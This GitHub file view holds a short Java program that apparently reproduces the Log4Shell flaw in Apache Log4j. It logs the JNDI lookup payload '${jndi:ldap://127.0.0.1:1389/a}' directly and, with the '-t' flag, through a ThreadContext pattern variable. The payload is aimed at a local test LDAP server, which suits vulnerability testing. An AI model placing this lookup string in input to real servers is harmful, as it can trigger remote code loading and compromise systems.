Repository navigation
Expand file tree
/
Copy pathlog4j.java
More file actions
53 lines (46 loc) · 2.54 KB
/
Copy pathlog4j.java
File metadata and controls
53 lines (46 loc) · 2.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.apache.logging.log4j.core.Filter;
import org.apache.logging.log4j.core.appender.ConsoleAppender;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory;
import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration;
import java.util.Locale;
public class log4j {
public static void configureLoggerWithThreadContext() {
ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder();
builder.setStatusLevel(Level.ERROR);
AppenderComponentBuilder appenderBuilder = builder.newAppender("Stdout", "CONSOLE").addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT);
appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:header} %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m\n"));
builder.add(appenderBuilder);
builder.add(builder.newLogger("org.apache.logging.log4j", Level.DEBUG).add(builder.newAppenderRef("Stdout")).addAttribute("additivity", false));
builder.add(builder.newRootLogger(Level.ERROR).add(builder.newAppenderRef("Stdout")));
Configurator.initialize(builder.build());
}
public static void main(String[] args) {
boolean useThreadLocalAttack = false;
for (int i = 0; i < args.length ; ++i) {
if (args[i].toLowerCase().equals("-t")) {
System.out.println("Will use ThreadContext as attack vector");
useThreadLocalAttack = true;
}
}
if (useThreadLocalAttack) {
configureLoggerWithThreadContext();
Logger logger = LogManager.getLogger();
ThreadContext.put("header", "${jndi:ldap://127.0.0.1:1389/a}");
logger.error("Vulnerable through thread context - 1");
logger.error("Vulnerable through thread context - 2");
} else {
Logger logger = LogManager.getLogger();
// exploit will be executed
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
// no more exploits will be executed from here TBD - try with another file
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
}